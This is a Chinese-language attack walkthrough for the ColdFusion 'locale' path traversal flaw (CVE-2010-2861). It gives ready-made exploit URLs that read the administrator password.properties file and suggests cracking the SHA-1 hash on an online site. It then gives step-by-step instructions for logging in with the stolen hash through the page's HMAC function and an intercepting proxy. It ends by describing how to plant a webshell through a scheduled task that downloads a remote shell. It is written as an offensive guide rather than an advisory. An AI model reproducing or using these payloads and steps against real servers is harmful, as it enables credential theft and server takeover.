攻击ColdFusion2 –路径遍历漏洞攻略
编号:CVE-2010-2861 APSB10-18
‘locale’ Path Traversal Vulnerability detected
影响版本:
ColdFusion MX6 6.1 base patches
ColdFusion MX7 7,0,0,91690 base patches 无补丁
ColdFusion MX8 8,0,1,195765 base patches
ColdFusion MX8 8,0,1,195765 with Hotfix4
查看版本信息tips:
http://target.com/CFIDE/adminapi/base.cfc?wsdl
漏洞利用:
http://target.com/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\ColdFusion8\lib\password.properties%00en
http://target.com/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\CFusionMX7\lib\password.properties%00en
http://target.com/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\..\..\JRun4\servers\cfusion\cfusion-ear\cfusion-war\WEB-INF\cfusion\lib\password.properties%00en
以上是获取CFIDE的密码,其他自行构造。
效果如图:
密码是用sha-1加密过的,可以到http://www.md5decrypter.co.uk/sha1-decrypt.aspx这儿去破解下
破解出来后直接登录即可。
Tips: 如果密码破解不出怎么办?放弃?当然不是,这里有个小技巧。coldfusion的密码在验证的时候,是把输入的密码加salt进行HMAC hash后传给服务器,由服务器去计算后验证。所以这时候我们只要传输过去正确的加密后的密码即可成功进入,而不必在那破密码了。但是问题是如何计算 HMAC值。
其实方法很简单,只要用js调用页面里的加密函数即可(页面每30秒刷新一次,所以下手要快),方法如下,这里我用firebug演示了~:
1.F12调出firebug
2.进入控制台选项
3.在下面输入hex_hmac_sha1(document.loginform.salt.value,”password”) password是你获取到的那个加密后的密码
4.回车,得到一个字符串,如下图:
5.打开burpsuit或者什么的,用来修改数据包用到,这里用tamper data插件,点击start tamper 后点登录,截断修改传送的cfadminPassword值为上面js获取的那个字符串值
6.一路submit,成功不用解密密码进入后台:
后台获取webshell
这个简单,添加计划任务后执行,远程下载一个shell到本地目录就OK了。这里就不多说了。
后记:
这个漏洞还算实用,不过大都打补丁了,个人感觉用js绕过解密那步很好。。。
关于ColdFusion,未完待续。。。。。。。